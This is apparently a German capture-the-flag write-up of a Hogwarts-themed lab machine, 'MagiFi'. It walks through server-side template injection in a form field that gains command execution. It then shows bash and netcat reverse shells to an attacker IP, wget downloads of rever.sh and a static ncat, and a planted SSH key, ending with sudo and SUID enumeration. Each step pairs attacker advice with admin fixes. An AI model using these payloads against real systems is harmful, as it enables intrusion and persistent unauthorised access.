drwxr-xr-x 2 harry_potter harry_potter 4096 Feb 12 23:47 uploads
-------------------------------------------------------------------------
Analyse: Dies ist die (vermutete) Ausgabe, die von der Webanwendung zurückgegeben wurde, nachdem das Dokument mit dem vorherigen SSTI-Payload im "Name"-Feld hochgeladen wurde. Die Ausgabe entspricht dem Ergebnis des `ls -la`-Befehls, der als Teil des Payloads ausgeführt wurde. Sie zeigt den Inhalt des Arbeitsverzeichnisses der Webanwendung, das dem Benutzer `harry_potter` gehört. Eine Datei `ben.sh` ist sichtbar.
Bewertung: **Fantastisch! Die SSTI-Schwachstelle ist bestätigt und ermöglicht Remote Code Execution!** Der Angreifer kann nun beliebige Befehle im Kontext des Benutzers ausführen, unter dem die Webanwendung läuft (hier `harry_potter`).
Empfehlung (Pentester): Nutzen Sie die SSTI, um eine stabilere Zugriffsmethode zu etablieren, z.B. eine Reverse Shell. Modifizieren Sie den Payload, um einen Befehl auszuführen, der eine Verbindung zu Ihrem Listener aufbaut.
Empfehlung (Admin): **Höchste Priorität!** Beheben Sie die SSTI-Schwachstelle sofort durch korrektes Escaping von Benutzereingaben in Templates. Aktualisieren Sie alle Bibliotheken. Da RCE möglich war, betrachten Sie den Server als potenziell kompromittiert und führen Sie eine Untersuchung durch.
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cp ben.sh /tmp/ben.sh; chmod +x /tmp/ben.sh;ls -la /tmp").read() }}] Surname: [Your Surname] Address: [Your Address] Birthday: [Your Birthday] Pet breed: [Your Pets Breed] Pet’s Name: [ben]
Analyse: Ein neuer SSTI-Payload im "Name"-Feld. Dieser Payload kopiert die Datei `ben.sh` (die im vorherigen Schritt im Arbeitsverzeichnis der App gesehen wurde) nach `/tmp/ben.sh`, macht sie ausführbar (`chmod +x`) und listet dann den Inhalt von `/tmp` auf.
Bewertung: Der Pentester versucht, das Skript `ben.sh` in ein allgemein zugängliches und beschreibbares Verzeichnis (`/tmp`) zu kopieren, um es von dort aus leichter ausführen zu können.
Empfehlung (Pentester): Überprüfen Sie die zurückgegebene Ausgabe, um zu sehen, ob der Kopiervorgang erfolgreich war und welche anderen Dateien sich in `/tmp` befinden.
Empfehlung (Admin): Die Empfehlungen zur Behebung der SSTI bleiben bestehen.
<li>Name: [total 56
drwxrwxrwt 13 root root 4096 Feb 12 23:49 .
drwxr-xr-x 19 root root 4096 Sep 25 06:57 ..
-rwxr-xr-x 1 harry_potter harry_potter 61 Feb 12 23:50 ben.sh
drwxrwxrwt 2 root root 4096 Feb 12 20:04 .font-unix
drwxrwxrwt 2 root root 4096 Feb 12 20:04 .ICE-unix
drwx------ 3 root root 4096 Feb 12 20:04 snap-private-tmp
drwx------ 3 root root 4096 Feb 12 20:04 systemd-private-f3cd7e53f972452cbf20cfdb8ca3b373-ModemManager.service-lLtKuj
drwx------ 3 root root 4096 Feb 12 20:04 systemd-private-f3cd7e53f972452cbf20cfdb8ca3b373-systemd-logind.service-DhJj8h
drwx------ 3 root root 4096 Feb 12 20:04 systemd-private-f3cd7e53f972452cbf20cfdb8ca3b373-systemd-resolved.service-h9Iagg
drwx------ 3 root root 4096 Feb 12 20:04 systemd-private-f3cd7e53f972452cbf20cfdb8ca3b373-systemd-timesyncd.service-gvnkig
drwx------ 3 root root 4096 Feb 12 20:13 systemd-private-f3cd7e53f972452cbf20cfdb8ca3b373-upower.service-HSVokj
drwxrwxrwt 2 root root 4096 Feb 12 20:04 .Test-unix
drwxrwxrwt 2 root root 4096 Feb 12 20:04 .X11-unix
drwxrwxrwt 2 root root 4096 Feb 12 20:04 .XIM-unix
Analyse: Die Ausgabe des vorherigen SSTI-Payloads wird angezeigt. Sie enthält die Auflistung des `/tmp`-Verzeichnisses. Man sieht, dass die Datei `ben.sh` erfolgreich nach `/tmp` kopiert wurde und Ausführungsrechte besitzt (`-rwxr-xr-x`). Das Verzeichnis enthält auch verschiedene System- und Socket-Dateien.
Bewertung: Der Kopiervorgang war erfolgreich. Das Skript `ben.sh` ist nun in `/tmp` und bereit zur Ausführung.
Empfehlung (Pentester): Führen Sie das Skript `/tmp/ben.sh` über einen weiteren SSTI-Payload aus, um zu sehen, was es tut. Es ist wahrscheinlich eine Reverse Shell oder ein anderer bösartiger Payload.
Empfehlung (Admin): Überwachen Sie das `/tmp`-Verzeichnis auf verdächtige ausführbare Dateien. Beschränken Sie nach Möglichkeit die Ausführung von Skripten aus `/tmp` (z.B. durch Mount-Optionen wie `noexec`, obwohl dies oft umgangen werden kann).
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("./tmp/ben.sh").read() }}] Surname: [Your Surname] Address: [Your Address] Birthday: [Your Birthday] Pet breed: [Your Pets Breed] Pet’s Name: [ben]
Analyse: Dieser SSTI-Payload versucht, das Skript `/tmp/ben.sh` auszuführen. Da der Pfad mit `./tmp/ben.sh` angegeben ist und der aktuelle Pfad der Anwendung wahrscheinlich `/home/harry_potter/Hogwarts_web/` ist, wird dies fehlschlagen. Der korrekte Pfad wäre `/tmp/ben.sh`.
Bewertung: Der Payload ist syntaktisch korrekt für SSTI, aber der Pfad zum Skript ist falsch angegeben. Dieser Versuch wird wahrscheinlich nicht funktionieren.
Empfehlung (Pentester): Korrigieren Sie den Pfad im Payload zu `/tmp/ben.sh`.
Empfehlung (Admin): SSTI beheben.
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cat /tmp/ben.sh").read() }}] Surname: [Your Surname] Address: [Your Address] Birthday: [Your Birthday] Pet breed: [Your Pets Breed] Pet’s Name: [ben]
Analyse: Dieser Payload verwendet SSTI, um den Inhalt des Skripts `/tmp/ben.sh` auszulesen.
Bewertung: Eine gute Methode, um den Inhalt des Skripts zu überprüfen, bevor es ausgeführt wird, oder wenn die direkte Ausführung fehlschlägt.
Empfehlung (Pentester): Analysieren Sie die Ausgabe (im nächsten Block), um zu verstehen, was das Skript tut.
Empfehlung (Admin): SSTI beheben.
Name: [!#/bin/bash /bin/bash -i >& /dev/tcp/192.168.2.199/4444 0>&1
Analyse: Dies ist die Ausgabe des `cat /tmp/ben.sh`-Befehls aus dem vorherigen SSTI-Payload. Das Skript `/tmp/ben.sh` enthält einen Shebang (`#!/bin/bash`) und einen Befehl zum Aufbau einer interaktiven Bash-Reverse-Shell zum Angreifer-Host `192.168.2.199` auf Port `4444`.
Bewertung: Das Skript ist eindeutig eine Reverse Shell. Es ist nun klar, was bei der Ausführung von `/tmp/ben.sh` passieren wird.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf Port 4444 (`nc -lvnp 4444`) und führen Sie dann das Skript `/tmp/ben.sh` über einen korrigierten SSTI-Payload aus (z.B. `{{ ...popen("/tmp/ben.sh").read() }}`).
Empfehlung (Admin): SSTI beheben. Entfernen Sie das bösartige Skript `/tmp/ben.sh`.
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cd /tmp;pwd;./tmp/ben.sh").read() }}] Surname: [Your Surname] Address: [Your Address] Birthday: [Your Birthday] Pet breed: [Your Pets Breed] Pet’s Name: [ben]
Analyse: Ein weiterer Versuch, `/tmp/ben.sh` auszuführen. Der Payload wechselt zuerst nach `/tmp` (`cd /tmp`), gibt das aktuelle Verzeichnis aus (`pwd`) und versucht dann `./tmp/ben.sh` auszuführen. Der letzte Teil ist immer noch falsch, da `./tmp/ben.sh` von `/tmp` aus nicht existiert. Es sollte `./ben.sh` oder `/tmp/ben.sh` heißen.
Bewertung: Dieser Payload wird ebenfalls fehlschlagen, die Shell auszuführen, aber die Ausgabe von `pwd` wird möglicherweise zurückgegeben.
Empfehlung (Pentester): Korrigieren Sie den Ausführungsbefehl zu `./ben.sh` oder `/tmp/ben.sh` innerhalb des `popen()`-Aufrufs.
Empfehlung (Admin): SSTI beheben.
Application Received
Thank you. Your application to Hogwarts has been successfully submitted with the following data:
Name: [/tmp ]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet Breed: [Your Pets Breed]
Pet's Name: [ben]
Analyse: Dies ist die Antwortseite der Anwendung nach dem Hochladen des Dokuments mit dem vorherigen (fehlerhaften) Payload. Wie erwartet, wurde nur die Ausgabe von `pwd` (`/tmp`) im "Name"-Feld reflektiert. Die Shell wurde nicht ausgeführt.
Bewertung: Bestätigt, dass der vorherige Payload die Shell nicht gestartet hat, aber die Codeausführung an sich funktioniert.
Empfehlung (Pentester): Korrigieren Sie den Payload zur Ausführung von `/tmp/ben.sh`.
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f' > /tmp/ben.sh; cd /tmp; ./tmp/ben.sh").read() }}] Surname: [Your Surname] Address: [Your Address] Birthday: [Your Birthday] Pet breed: [Your Pets Breed] Pet’s Name: [ben]
Analyse: Dieser SSTI-Payload versucht, mehrere Dinge auf einmal zu tun:
Bewertung: Der Versuch, das Skript mit einer neuen Payload zu überschreiben, ist sinnvoll, aber die Ausführung wird aufgrund des Pfadfehlers wahrscheinlich wieder fehlschlagen.
Empfehlung (Pentester): Teilen Sie die Aktionen auf: 1. Payload zum Schreiben des korrekten Skriptinhalts nach `/tmp/ben.sh`. 2. Payload zur Ausführung von `/tmp/ben.sh` (mit korrektem Pfad).
Empfehlung (Admin): SSTI beheben.
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("wget 192.168.2.199/rever.sh").read() }}] Surname: [Your Surname] Address: [Your Address] Birthday: [Your Birthday] Pet breed: [Your Pets Breed] Pet’s Name: [ben]
Analyse: Ein neuer Ansatz: Dieser SSTI-Payload versucht, ein Skript namens `rever.sh` vom HTTP-Server des Angreifers (auf Port 80, da kein Port angegeben ist) herunterzuladen.
Bewertung: Dies ist eine alternative Methode, um einen Reverse-Shell-Payload auf das Zielsystem zu bekommen, anstatt ihn direkt in das Skript zu schreiben.
Empfehlung (Pentester): Stellen Sie sicher, dass der HTTP-Server auf dem Angreifer-System läuft und die Datei `rever.sh` (mit einem Reverse-Shell-Payload) bereitstellt. Überprüfen Sie die Antwort, ob der Download erfolgreich war (die Ausgabe von `wget` wird ggf. zurückgegeben).
Empfehlung (Admin): SSTI beheben. Egress-Filtering kann Downloads von externen/internen Quellen blockieren.
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("which wget; cd /tmp;wget 192.168.2.199/rever.sh").read() }}] Surname: [Your Surname] Address: [Your Address] Birthday: [Your Birthday] Pet breed: [Your Pets Breed] Pet’s Name: [ben]
Analyse: Dieser Payload verfeinert den vorherigen:
Bewertung: Dieser Payload ist besser, da er zuerst die Verfügbarkeit von `wget` prüft und sicherstellt, dass der Download in `/tmp` stattfindet.
Empfehlung (Pentester): Analysieren Sie die Antwort, um den Pfad von `wget` zu sehen und den Erfolg des Downloads zu bestätigen.
Empfehlung (Admin): SSTI beheben.
####
Application Received
Thank you. Your application to Hogwarts has been successfully submitted with the following data:
Name: [/usr/bin/wget ]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet Breed: [Your Pets Breed]
Pet's Name: [ben]
Analyse: Die Antwort der Anwendung auf den vorherigen Payload. Sie zeigt nur die Ausgabe von `which wget` (`/usr/bin/wget`) im "Name"-Feld. Die Ausgabe von `wget` selbst (die den Erfolg des Downloads anzeigen würde) fehlt, möglicherweise weil `popen(...).read()` nur die erste Zeile oder eine begrenzte Menge an Ausgabe zurückgibt, oder weil `wget` im Hintergrund läuft.
Bewertung: Bestätigt, dass `wget` vorhanden ist. Der Erfolg des Downloads ist unklar, muss aber angenommen werden, basierend auf der Logzeile des HTTP-Servers (nächster Block).
Empfehlung (Pentester): Gehen Sie davon aus, dass `rever.sh` in `/tmp` heruntergeladen wurde. Der nächste Schritt ist, es ausführbar zu machen und auszuführen.
Empfehlung (Admin): SSTI beheben.
bash -c "/bin/bash -i >& /dev/tcp/192.168.2.199/4444 0>&1"
Analyse: Dies ist der Inhalt der Datei `rever.sh`, die im vorherigen Schritt heruntergeladen wurde. Es handelt sich um den Standard-Bash-Reverse-Shell-Einzeiler.
Bewertung: Der Payload für die Reverse Shell ist nun auf dem Zielsystem in `/tmp/rever.sh`.
Empfehlung (Pentester): Machen Sie `/tmp/rever.sh` ausführbar (`chmod +x /tmp/rever.sh`) und führen Sie es (`/tmp/rever.sh`) über die SSTI aus. Starten Sie vorher einen Listener auf Port 4444.
Empfehlung (Admin): SSTI beheben.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.175 - - [13/Feb/2025 01:00:02] "GET /rever.sh HTTP/1.1" 200 -
Analyse: Die Logausgabe des Python-HTTP-Servers auf der Angreifer-Maschine bestätigt, dass die Datei `rever.sh` erfolgreich vom Zielsystem (`192.168.2.175`) heruntergeladen wurde.
Bewertung: Dies bestätigt den Erfolg des `wget`-Befehls, der über die SSTI ausgeführt wurde.
Empfehlung (Pentester): Fahren Sie mit dem Ausführen des heruntergeladenen Skripts fort.
Empfehlung (Admin): SSTI beheben, Egress-Filtering.
[Link: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat | Ziel: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat]
Analyse: Ein Link zu einem Repository mit statisch kompilierten Binärdateien, speziell zu `ncat` (einer verbesserten Version von `netcat`).
Bewertung: Statisch kompilierte Binaries sind nützlich, da sie keine externen Bibliotheken benötigen und daher auf vielen Systemen ohne Kompatibilitätsprobleme laufen. Der Pentester erwägt offenbar, `ncat` zu verwenden, möglicherweise weil `nc -e` nicht verfügbar ist oder `ncat` stabilere Verbindungen bietet.
Empfehlung (Pentester): Laden Sie das statische `ncat`-Binary herunter und übertragen Sie es auf das Zielsystem. Verwenden Sie es dann für die Reverse Shell, z.B. mit `./ncat -e /bin/bash ANGREIFER_IP PORT`.
Empfehlung (Admin): Verhindern Sie das Herunterladen und Ausführen nicht vertrauenswürdiger Binärdateien auf Ihren Systemen (z.B. durch AppLocker-ähnliche Mechanismen, regelmäßige Scans).
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cd /tmp;wget 192.168.2.199/ncat;chmod +x ncat;./ncat -e /bin/sh 192.168.2.199 4444").read() }}] Surname: [Your Surname] Address: [Your Address] Birthday: [Your Birthday] Pet breed: [Your Pets Breed] Pet’s Name: [ben] ###
Analyse: Dieser SSTI-Payload versucht nun, den gesamten Prozess des Herunterladens, Ausführbarmachens und Ausführens von `ncat` für eine Reverse Shell in einem einzigen Befehl über `popen` abzuwickeln.
Bewertung: Dies ist ein effizienter Ansatz, um die Reverse Shell mit `ncat` zu etablieren. Die Verwendung von `-e /bin/sh` (oder `/bin/bash`) mit `ncat` ist eine gängige Methode für Reverse Shells.
Empfehlung (Pentester): Stellen Sie sicher, dass der HTTP-Server auf dem Angreifer-System das `ncat`-Binary bereitstellt und ein Listener auf Port 4444 läuft. Führen Sie diesen Payload aus.
Empfehlung (Admin): SSTI beheben. Egress-Filtering. Verhindern der Ausführung von Binaries aus `/tmp`.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.175 - - [13/Feb/2025 01:00:02] "GET /rever.sh HTTP/1.1" 200 -
192.168.2.175 - - [13/Feb/2025 01:05:52] "GET /ncat HTTP/1.1" 200 -
Analyse: Die Logausgabe des HTTP-Servers bestätigt, dass nun auch das `ncat`-Binary erfolgreich vom Zielsystem heruntergeladen wurde.
Bewertung: Der Download-Teil des vorherigen Payloads war erfolgreich.
Empfehlung (Pentester): Der `ncat`-Befehl im Payload sollte nun ausgeführt worden sein und eine Verbindung zum Listener auf Port 4444 hergestellt haben.
Empfehlung (Admin): SSTI beheben, Egress-Filtering.
drwxrwxrwt 13 root root 4096 Feb 13 00:05 . drwxr-xr-x 19 root root 4096 Sep 25 06:57 .. ------------------------------------------------------------------------- -rwxr-xr-x 1 harry_potter harry_potter 81 Feb 12 23:57 ben.sh ------------------------------------------------------------------------- drwxrwxrwt 2 root root 4096 Feb 12 20:04 .font-unix drwxrwxrwt 2 root root 4096 Feb 12 20:04 .ICE-unix ------------------------------------------------------------------------- -rwxr-xr-x 1 harry_potter harry_potter 2914424 Feb 13 00:03 ncat ------------------------------------------------------------------------- -rw-r--r-- 1 harry_potter harry_potter 59 Feb 10 23:25 rever.sh ------------------------------------------------------------------------- drwx------ 3 root root 4096 Feb 12 20:04 snap-private-tmp [...]
Analyse: Dies scheint eine `ls -la /tmp`-Ausgabe zu sein, die über einen SSTI-Payload erzeugt wurde. Sie zeigt die heruntergeladenen Dateien `ben.sh`, `ncat` und `rever.sh` im `/tmp`-Verzeichnis. `ncat` und `ben.sh` haben Ausführungsrechte.
Bewertung: Bestätigt das Vorhandensein der Payloads im `/tmp`-Verzeichnis.
Empfehlung (Pentester): Da der `ncat`-Payload bereits ausgeführt wurde, sollte die Reverse Shell aktiv sein. Falls nicht, könnte hier versucht werden, `rever.sh` auszuführen.
Empfehlung (Admin): Überwachen Sie `/tmp` auf verdächtige Dateien.
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cd /tmp;chmod +x rever.sh; ls -la;./rever.sh;mkdir ~/.ssh;ls -la").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]
endlich
-------------------------------------------------------------------------
Analyse: Ein weiterer SSTI-Payload, der versucht:
Bewertung: Dieser Payload kombiniert mehrere Schritte und führt erfolgreich das `rever.sh`-Skript aus, wodurch die Reverse Shell etabliert wird. Das Erstellen des `.ssh`-Verzeichnisses bereitet einen späteren SSH-Zugang vor.
Empfehlung (Pentester): Wechseln Sie zum Netcat-Listener auf Port 4444, um die Reverse Shell zu verwenden.
Empfehlung (Admin): SSTI beheben.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.175] 36846 bash: cannot set terminal process group (800): Inappropriate ioctl for device bash: no job control in this shell harry_potter@MagiFi:/tmp$ ^C harry_potter@MagiFi:/tmp$ id id uid=1006(harry_potter) gid=1006(harry_potter) groups=1006(harry_potter) harry_potter@MagiFi:/tmp$
Analyse: Der Netcat-Listener auf Port 4444 empfängt die Verbindung von `rever.sh`. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `harry_potter` (UID 1006) läuft. Die Shell ist noch nicht aufgewertet (kein volles TTY).
Bewertung: **Initial Access als Benutzer `harry_potter` erfolgreich etabliert!** Die SSTI-Schwachstelle wurde erfolgreich zur Ausführung einer Reverse Shell genutzt.
Empfehlung (Pentester): Stabilisieren Sie die Shell (TTY-Upgrade). Beginnen Sie mit der Enumeration als `harry_potter`, um Wege zur Privilegienerweiterung zu finden.
Empfehlung (Admin): SSTI beheben. Untersuchen Sie das System auf Kompromittierung.
[Keine Ausgabe]
total 32 drwxr-xr-x 4 harry_potter harry_potter 4096 Feb 13 00:11 . drwxr-xr-x 7 root root 4096 Sep 27 11:46 .. lrwxrwxrwx 1 root root 9 Sep 27 11:45 .bash_history -> /dev/null -rw-r--r-- 1 harry_potter harry_potter 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 harry_potter harry_potter 3771 Feb 25 2020 .bashrc drwxr-xr-x 5 harry_potter harry_potter 4096 Feb 12 23:47 Hogwarts_web -rw-r--r-- 1 harry_potter harry_potter 807 Feb 25 2020 .profile drwxr-xr-x 2 harry_potter harry_potter 4096 Feb 13 00:11 .ssh -rw-r--r-- 1 harry_potter harry_potter 43 Feb 4 10:04 user.txt
Analyse: In der Reverse Shell als `harry_potter` wird in das Home-Verzeichnis gewechselt (`cd ~`) und dessen Inhalt aufgelistet (`ls -la`). Man sieht das Web-Anwendungsverzeichnis (`Hogwarts_web`), das zuvor erstellte `.ssh`-Verzeichnis und die `user.txt`-Datei.
Bewertung: Bestätigt den Inhalt des Home-Verzeichnisses und das Vorhandensein der User-Flag-Datei.
Empfehlung (Pentester): Lesen Sie die `user.txt`. Bereiten Sie den SSH-Zugang vor, indem Sie Ihren öffentlichen Schlüssel in `~/.ssh/authorized_keys` platzieren.
Empfehlung (Admin): Keine spezifische Aktion, außer der allgemeinen Absicherung.
<hHjJrpEfFDFeKVI7jwy1T7 root@CCat' > authorized_keys
authorized_keys
Hogwarts_web
user.txt
[Keine Ausgabe]
[Keine Ausgabe]
mv: cannot stat 'authorized_keys': No such file or directory
/home/harry_potter/.ssh
total 8 drwxr-xr-x 2 harry_potter harry_potter 4096 Feb 13 00:11 . drwxr-xr-x 4 harry_potter harry_potter 4096 Feb 13 00:14 ..
[Keine Ausgabe]
authorized_keys
Analyse: Diese Befehle zielen darauf ab, den öffentlichen SSH-Schlüssel des Angreifers (`ssh-ed25519 ... root@CCat`) in die Datei `authorized_keys` im `.ssh`-Verzeichnis des `harry_potter`-Benutzers zu schreiben, um einen passwortlosen SSH-Zugang zu ermöglichen.
Bewertung: Das Einrichten des SSH-Zugangs über `authorized_keys` ist eine Standardmethode für Persistenz und bequemeren Zugriff. Die anfänglichen `mv`-Fehler zeigen die Tücken der Arbeit in einer einfachen Reverse Shell ohne vollständige Pfadübersicht.
Empfehlung (Pentester): Testen Sie nun den SSH-Login als `harry_potter` von der Angreifer-Maschine aus mit dem entsprechenden privaten Schlüssel. Dies sollte eine stabilere, voll funktionsfähige Shell liefern.
Empfehlung (Admin): Überwachen Sie Änderungen in `.ssh/authorized_keys`-Dateien. Verwenden Sie zentrale Konfigurationsmanagement-Tools, um die Verwaltung von SSH-Schlüsseln zu steuern. Deaktivieren Sie SSH-Logins für Benutzer, die sie nicht benötigen.
The authenticity of host '192.168.2.175 (192.168.2.175)' can't be established.
ED25519 key fingerprint is SHA256:yadPiiTBWIcUiyXbuLpOyKDRliIPWMU4RG0ioHGUZq4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.175' (ED25519) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa':
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
* Documentation: [Link: https://help.ubuntu.com | Ziel: https://help.ubuntu.com]
* Management: [Link: https://landscape.canonical.com | Ziel: https://landscape.canonical.com]
* Support: [Link: https://ubuntu.com/pro | Ziel: https://ubuntu.com/pro]
System information as of Thu 13 Feb 2025 12:15:25 AM UTC
Expanded Security Maintenance for Applications is not enabled.
82 updates can be applied immediately.
62 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
8 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
$
Analyse: Der Angreifer versucht nun, sich per SSH als Benutzer `harry_potter` auf dem Zielsystem `192.168.2.175` anzumelden.
Bewertung: Der SSH-Zugang über den Public Key wurde erfolgreich eingerichtet und genutzt. Dies bietet nun eine stabile und interaktive Shell als Benutzer `harry_potter`.
Empfehlung (Pentester): Nutzen Sie diese stabile SSH-Verbindung für die weitere Enumeration und Privilegienerweiterung. Führen Sie `sudo -l` aus, um die Sudo-Berechtigungen zu überprüfen.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Stellen Sie sicher, dass nur autorisierte Schlüssel verwendet werden und dass private Schlüssel sicher aufbewahrt werden (idealerweise mit Passphrasen geschützt).
Matching Defaults entries for harry_potter on MagiFi: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User harry_potter may run the following commands on MagiFi: (root) NOPASSWD: /usr/sbin/aireplay-ng, /usr/sbin/airmon-ng, /usr/sbin/airodump-ng, /usr/bin/airdecap-ng, /usr/bin/hostapd-mana
Analyse: Der Befehl `sudo -l`, ausgeführt in der SSH-Shell als `harry_potter`, zeigt die Sudo-Berechtigungen für diesen Benutzer an. Die Ausgabe zeigt, dass `harry_potter` mehrere Befehle aus dem `aircrack-ng`-Paket (`aireplay-ng`, `airmon-ng`, `airodump-ng`, `airdecap-ng`) sowie `hostapd-mana` als `root` und ohne Passwort (`NOPASSWD`) ausführen darf.
Bewertung: **Kritischer Fund für die Privilegienerweiterung!** Die Berechtigung, `hostapd-mana` (oder auch die anderen Aircrack-Tools, falls diese missbraucht werden können) als Root ohne Passwort auszuführen, ist ein direkter Weg zur Eskalation. Viele Programme, die als Root laufen, können auf irgendeine Weise zur Ausführung anderer Befehle oder zum Lesen/Schreiben beliebiger Dateien missbraucht werden.
Empfehlung (Pentester): Untersuchen Sie, wie `hostapd-mana` (oder die Aircrack-Tools) zur Privilegienerweiterung missbraucht werden kann. Suchen Sie auf GTFOBins oder anderen Ressourcen nach bekannten Techniken. Eine häufige Methode ist das Ausnutzen von Konfigurationsdateiparametern, die von diesen Tools gelesen werden.
Empfehlung (Admin): **Diese Sudo-Regel ist extrem unsicher!** Gewähren Sie niemals `NOPASSWD`-Rechte für komplexe Programme wie `hostapd-mana` oder die Aircrack-Suite an unprivilegierte Benutzer. Wenn diese Programme mit erhöhten Rechten ausgeführt werden müssen, sollte dies über stark eingeschränkte Wrapper-Skripte oder spezifischere Sudo-Regeln erfolgen, die nur erlaubte Parameter zulassen.
262629 88 -rwsr-xr-x 1 root root 88464 Feb 6 2024 /usr/bin/gpasswd 262241 84 -rwsr-xr-x 1 root root 85064 Feb 6 2024 /usr/bin/chfn 276704 68 -rwsr-xr-x 1 root root 67816 Apr 9 2024 /usr/bin/su 262712 40 -rwsr-xr-x 1 root root 39144 Apr 9 2024 /usr/bin/umount 275948 44 -rwsr-xr-x 1 root root 44784 Feb 6 2024 /usr/bin/newgrp 345098 20 -rwsr-xr-x 1 root root 17264 Sep 25 12:22 /usr/bin/xxd_horcrux 262825 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount 262644 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at 263044 32 -rwsr-xr-x 1 root root 31032 Feb 21 2022 /usr/bin/pkexec 271591 164 -rwsr-xr-x 1 root root 166056 Apr 4 2023 /usr/bin/sudo 262707 56 -rwsr-xr-x 1 root root 55528 Apr 9 2024 /usr/bin/mount 262715 68 -rwsr-xr-x 1 root root 68208 Feb 6 2024 /usr/bin/passwd 262242 52 -rwsr-xr-x 1 root root 53040 Feb 6 2024 /usr/bin/chsh 263530 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device 332255 468 -rwsr-xr-x 1 root root 477672 Jan 2 2024 /usr/lib/openssh/ssh-keysign 274785 152 -rwsr-xr-x 1 root root 155080 Jul 26 2024 /usr/lib/snapd/snap-confine 263738 24 -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1 345093 12 -rwsr-xr-x 1 root root 10224 Jan 22 2017 /usr/lib/authbind/helper 263523 52 -rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 210 177 -rwsr-xr-x 1 root root 180752 Dec 4 09:13 /snap/snapd/23545/usr/lib/snapd/snap-confine 293 133 -rwsr-xr-x 1 root root 135960 Apr 24 2024 /snap/snapd/21759/usr/lib/snapd/snap-confine 856 84 -rwsr-xr-x 1 root root 85064 Feb 6 2024 /snap/core20/2434/usr/bin/chfn 862 52 -rwsr-xr-x 1 root root 53040 Feb 6 2024 /snap/core20/2434/usr/bin/chsh 932 87 -rwsr-xr-x 1 root root 88464 Feb 6 2024 /snap/core20/2434/usr/bin/gpasswd 1016 55 -rwsr-xr-x 1 root root 55528 Apr 9 2024 /snap/core20/2434/usr/bin/mount 1025 44 -rwsr-xr-x 1 root root 44784 Feb 6 2024 /snap/core20/2434/usr/bin/newgrp 1040 67 -rwsr-xr-x 1 root root 68208 Feb 6 2024 /snap/core20/2434/usr/bin/passwd 1150 67 -rwsr-xr-x 1 root root 67816 Apr 9 2024 /snap/core20/2434/usr/bin/su 1151 163 -rwsr-xr-x 1 root root 166056 Apr 4 2023 /snap/core20/2434/usr/bin/sudo 336671 20 -rwsr-x--x 1 root tom.riddle 17136 Feb 13 00:16 /home/tom.riddle/.horcrux.png
Analyse: Erneute Suche nach SUID-Binaries, diesmal als Benutzer `harry_potter` mit potenziell mehr Leserechten. Zusätzlich zu den Standard-Binaries fallen zwei auf:
Bewertung: Die Entdeckung benutzerdefinierter SUID-Binaries ist ein starker Indikator für einen potenziellen PrivEsk-Vektor. `/usr/bin/xxd_horcrux` sollte genauer untersucht werden (Was tut es? Kann es missbraucht werden?). Die SUID-PNG-Datei ist besonders seltsam; möglicherweise wird sie von einem anderen Prozess als Code ausgeführt oder dient einem anderen versteckten Zweck.
Empfehlung (Pentester): Untersuchen Sie `/usr/bin/xxd_horcrux` genauer (z.B. mit `strings`, `ltrace`, `strace` oder durch Reverse Engineering). Versuchen Sie, die Datei `/home/tom.riddle/.horcrux.png` zu analysieren (z.B. mit `file`, `strings`, `exiftool`) und herauszufinden, warum sie SUID ist. Parallel dazu bleibt der Missbrauch der `sudo`-Regel für `hostapd-mana` der wahrscheinlichste Weg.
Empfehlung (Admin): Entfernen Sie das SUID-Bit von `/usr/bin/xxd_horcrux` und `/home/tom.riddle/.horcrux.png`, es sei denn, es gibt einen absolut zwingenden und dokumentierten Grund dafür. Untersuchen Sie den Zweck dieser Dateien. Minimieren Sie die Anzahl von SUID-Binaries generell.
harry_potter@MagiFi:~$ id uid=1006(harry_potter) gid=1006(harry_potter) groups=1006(harry_potter)
